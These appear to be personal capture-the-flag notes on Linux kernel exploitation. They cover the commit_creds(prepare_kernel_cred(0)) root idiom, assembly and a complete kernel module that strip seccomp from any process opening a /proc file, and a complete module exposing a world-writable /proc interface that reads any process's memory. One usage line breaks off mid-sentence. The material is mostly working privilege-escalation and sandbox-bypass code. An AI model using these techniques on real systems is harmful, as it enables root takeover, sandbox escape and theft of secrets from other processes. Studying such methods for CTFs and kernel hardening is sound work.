k-pwn notes
Privilege escalation
whenever you find a way to call arbitrary functions you should try to call:
commit_creds(prepare_kernel_cred(0));
to get root privileges. An altervative is to use:
run_cmd("/bin/chmod 777 /flag");
or whichever command you want to run as root.
Bypass seccomp via shellcode in kernel space
While coding in C you can do:
current->thread_info.flags &= ~_TIF_SECCOMP;
but when shellcodeing you need to do something like:
mov rax, QWORD PTR gs:0x15d00
and QWORD PTR [rax], 0xfffffffffffffeff
(note 0x15d00 is the offset for linux 5.4, it changes in other versions) Generally you can compile a small C kernel module like
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/uaccess.h>
#include <asm/thread_info.h>
MODULE_LICENSE("GPL");
void disable_seccomp(void) {
#ifdef TIF_SECCOMP
current->thread_info.flags &= ~(1UL << TIF_SECCOMP);
#else
current->thread_info.flags &= ~(1UL << 8);
#endif
pr_info("PWNED: Seccomp disabilitato per %s [%d]\n", current->comm, current->pid);
}
static int my_proc_open(struct inode *inode, struct file *file) {
disable_seccomp();
return 0;
}
static const struct file_operations my_fops = {
.owner = THIS_MODULE,
.open = my_proc_open,
};
static int __init seccomp_bypass_init(void) {
proc_create("pwn_seccomp", 0444, NULL, &my_fops);
pr_info("Modulo caricato su Kernel 5.4. Apri /proc/pwn_seccomp.\n");
return 0;
}
static void __exit seccomp_bypass_exit(void) {
remove_proc_entry("pwn_seccomp", NULL);
}
module_init(seccomp_bypass_init);
module_exit(seccomp_bypass_exit);
load it via insmod, then using gdb check the disassembly of disable_seccomp to find the assembly instructions you need and the correct offset.
Read other processes memory
The kernel is allowed to read any process memory.
A kernel module that reads memory of a target pid:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/sched/mm.h>
#include <linux/mm.h>
#include <linux/pid.h>
#define PROC_NAME "test"
#define FLAG_LEN 64
static char flag_buf[FLAG_LEN];
static ssize_t flag_len;
static ssize_t proc_write(struct file *file,
const char __user *ubuf,
size_t count,
loff_t *ppos)
{
char kbuf[64];
pid_t pid;
unsigned long addr;
struct task_struct *task;
int ret;
if (count >= sizeof(kbuf))
return -EINVAL;
if (copy_from_user(kbuf, ubuf, count))
return -EFAULT;
kbuf[count] = '\0';
if (sscanf(kbuf, "%d %lx", &pid, &addr) != 2)
return -EINVAL;
task = pid_task(find_vpid(pid), PIDTYPE_PID);
if (!task)
return -ESRCH;
memset(flag_buf, 0, FLAG_LEN);
ret = access_process_vm(task,
addr,
flag_buf,
FLAG_LEN,
0); /* read = 0 */
if (ret <= 0)
return -EFAULT;
flag_len = ret;
return count;
}
static ssize_t proc_read(struct file *file,
char __user *ubuf,
size_t count,
loff_t *ppos)
{
return simple_read_from_buffer(
ubuf, count, ppos, flag_buf, flag_len);
}
static const struct file_operations proc_fops = {
.owner = THIS_MODULE,
.read = proc_read,
.write = proc_write,
};
static int __init mod_init(void)
{
if (!proc_create(PROC_NAME, 0666, NULL, &proc_fops))
return -ENOMEM;
pr_info("module loaded\n");
return 0;
}
static void __exit mod_exit(void)
{
remove_proc_entry(PROC_NAME, NULL);
pr_info("module unloaded\n");
}
MODULE_LICENSE("GPL");
module_init(mod_init);
module_exit(mod_exit);
This can be used by “echo
If you can execute arbitrary shellcode in kernel space you need to call the functions find_vpid and pid_task to get the task_struct of the target process, then use access_process_vm to read its memory. Then probably copy_to_user to send the data back to user space.